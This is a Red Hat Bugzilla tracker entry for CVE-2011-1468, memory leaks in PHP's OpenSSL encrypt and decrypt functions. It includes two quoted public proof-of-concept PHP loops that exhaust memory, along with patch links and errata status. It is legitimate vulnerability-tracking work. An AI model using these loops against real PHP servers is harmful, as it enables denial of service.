Bugzilla will be upgraded to version 5.0 on a still to be determined date in the near future. The original upgrade date has been delayed.
Bug 690899 - (CVE-2011-1468) CVE-2011-1468 php: Multiple memory leaks in the OpenSSL extension
CVE-2011-1468 php: Multiple memory leaks in the OpenSSL extension
Status: CLOSED ERRATA
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
unspecified
All Linux
low Severity low
: ---
: ---
Assigned To: Red Hat Product Security
David Kutálek
public=20110221,reported=20110319,sou...
: Security
Depends On: 740731 740732 740733 740734 831135
Blocks: 715030
  Show dependency treegraph
 
Reported: 2011-03-25 14:21 EDT by Jan Lieskovsky
Modified: 2018-06-02 07:44 EDT (History)
5 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2011-11-02 19:05:56 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)


External Trackers
Tracker ID Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2011:1423 normal SHIPPED_LIVE Moderate: php53 and php security update 2011-11-02 18:24:16 EDT

  None (edit)
Description Jan Lieskovsky 2011-03-25 14:21:40 EDT
Common Vulnerabilities and Exposures assigned an identifier CVE-2011-1468 to
the following vulnerability:

Multiple memory leaks in the OpenSSL extension in PHP before 5.3.6
might allow remote attackers to cause a denial of service (memory
consumption) via (1) plaintext data to the openssl_encrypt function or
(2) ciphertext data to the openssl_decrypt function.

References:
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1468
[2] http://bugs.php.net/bug.php?id=54060
[3] http://bugs.php.net/bug.php?id=54061
[4] http://www.php.net/ChangeLog-5.php

Upstream patch:
[6] http://svn.php.net/viewvc/?view=revision&revision=308531
Comment 1 Jan Lieskovsky 2011-03-25 14:25:08 EDT
Public PoC from [2]:
====================
<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437
r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439
8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
        openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs
".($maxi/$t)."#/sec \n";

?>

Public PoC from [3]:
====================
<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
	$cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
	$dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2');
	if ($dcr != $data.$i){
		print "at step $i decryption failed\n";
	}
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";
?>
Comment 3 Jan Lieskovsky 2011-03-25 14:28:15 EDT
This issue did NOT affect the versions of the php package, as shipped
with Red Hat Enterprise Linux 4 and 5.

--

This issue affects the version of the php53 package, as shipped with
Red Hat Enterprise Linux 5.

This issue affects the version of the php package, as shipped with
Red Hat Enterprise Linux 6.

--

This issue does NOT affect the versions of the php package, as shipped
with Fedora release of 13 and 14 (particular packages update has been
already scheduled).
Comment 6 Joe Orton 2011-03-29 08:07:51 EDT
The corresponding fix to openssl_decrypt() is:

http://svn.php.net/viewvc?view=revision&revision=308534
Comment 14 errata-xmlrpc 2011-11-02 18:24:38 EDT
This issue has been addressed in following products:

  Red Hat Enterprise Linux 5
  Red Hat Enterprise Linux 6

Via RHSA-2011:1423 https://rhn.redhat.com/errata/RHSA-2011-1423.html
Comment 15 Vincent Danen 2011-11-02 19:05:56 EDT
Statement:

Not vulnerable.  This issue did not affect the versions of php as shipped with Red Hat Enterprise Linux 4 and 5.  It has been addressed in Red Hat Enterprise Linux 5 (php53) and 6 (php).

Note You need to log in before you can comment on or make changes to this bug.